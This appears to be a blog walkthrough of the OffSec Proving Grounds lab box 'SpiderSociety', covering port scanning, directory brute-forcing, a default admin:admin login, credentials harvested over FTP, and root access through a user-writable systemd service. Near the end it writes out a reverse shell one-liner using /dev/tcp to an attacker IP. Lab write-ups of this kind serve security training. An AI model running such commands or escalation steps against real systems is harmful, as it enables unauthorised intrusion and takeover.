Proving Grounds: SpiderSociety

This is an Intermediate box on OffSec’s PG Practice and the community agrees with that.

Starting with an Nmap scan using -p- to scan all ports, -sV for service versions, -T4 for a faster scan, -Pn to skip host discovery, and -oN to save the results.

┌──(nullesc㉿kali)-[~/Desktop/PG/linux/spiderSociety]
└─$ sudo nmap -sV -T4 -p- -Pn -oN nmap_SpiderSociety 192.168.239.214
[sudo] password for nullesc: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-23 13:53 +1000
Nmap scan report for 192.168.239.214
Host is up (0.10s latency).
Not shown: 55531 filtered tcp ports (no-response), 10001 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
2121/tcp open  ftp     vsftpd 3.0.5
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

The scan comes back with three ports open. SSH on port 22, an Apache web server on port 80, and vsftpd 3.0.5 running on a non-standard port 2121.

I checked anonymous login on port 2121 but no access. I’m going to see what’s on port 80 and also run gobuster.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://192.168.239.214 

The page seems to be static. Clicking on the login button throws a 404 page not found error, and at the bottom of the page, there is an email address revealing the target domain name, which is good practice to add to the hosts file.

Gobuster scan comes back with a few results, and the interesting one is /libspider with a 301 redirect.

That takes me to the login page. As usual, the first thing I try is admin:admin and it works!

The Reports and Missions buttons don’t do anything, but the Communications button shows an FTP user and password, which means I’m going back to that FTP port again.

Logging into FTP with the new credentials, I land in the web root, and the most interesting directory is /libspider, which contains a few interesting files. We can download them all with mget *.

Looking at fetch-credentials.php, the filename itself hints at its functionality. It fetches credentials.

Get NullEsc’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Right at the top, there is a reference to a hidden file called:
.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv

nullesc@kali:~/Desktop/PG/linux/spiderSociety$ cat fetch-credentials.php


<?php
// fetch-credentials.php

// Path to the credentials file
$credentialsFile = __DIR__ . '/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv';

// Function to parse the credentials file
function getCredentials($filePath) {
    if (!file_exists($filePath)) {
        die('Credentials file not found.');
    }

    $lines = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $credentials = [];

    foreach ($lines as $line) {
        if (strpos($line, '=') !== false) {
            list($key, $value) = explode('=', $line, 2);
            $credentials[trim($key)] = trim($value);
        }
    }

    return $credentials;
}

// Fetch credentials
$credentials = getCredentials($credentialsFile);
$user = $credentials['FTP_BACKUP_USER'] ?? null;
$pass = $credentials['FTP_BACKUP_PASS'] ?? null;

// Check if the request is coming from control-panel.php
/* if ($_SERVER['HTTP_REFERER'] !== 'http://yourdomain.com/contro-panel.php') {
    http_response_code(403);
    die('Unauthorized access.');
} */

// Check if the user is authenticated
session_start();
if (!isset($_SESSION['user'])) {
    http_response_code(401);
    die('User not authenticated.');
}

// Respond with the credentials
header('Content-Type: application/json');
echo json_encode([
    'FTP_BACKUP_USER' => $user,
    'FTP_BACKUP_PASS' => $pass
]); 

Let’s browse to this hidden file inside the /libspider directory.

We have new credentials for a database user named spidey. If we recall our initial nmap scan, there are no database ports exposed externally, so I’m going to try these credentials on SSH to see if we can log in.

ssh spidey@192.168.239.214 

Ok we are in as spidey! Once I land on a box I usually start checking a few key areas first like my current sudo privileges, SUID binaries, cron jobs, files owned by the current user, listening services and pspy to monitor running processes in real time without needing root permissions.

The sudo rules let me run two commands as root without a password. I can run daemon-reload which tells the system to reload all configuration files and I can restart the spiderbackup service. The exclamation marks at the end mean we are explicitly forbidden from running standard shells directly with sudo.

So next, I need to see what spiderbackup.service actually does.

systemctl cat spiderbackup.service

We can see the service runs a script called spiderbackup.sh which we cannot modify since root owns it, but spiderbackup.service is owned by us and runs as root. That means we can modify the service file then reload and restart it.

So I’m going to change ExecStart= to point to a reverse shell one-liner instead of that spiderbackup.sh script.

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.45.225/443 0>&1"

Now if we reload and restart we should get a shell back.

sudo systemctl daemon-reload
sudo systemctl restart spiderbackup.service

The misconfigured service executed exactly as expected, giving us full control over the entire system.

As always thank you for reading.
Stay curious, stay kind, and keep learning. Until the next pivot…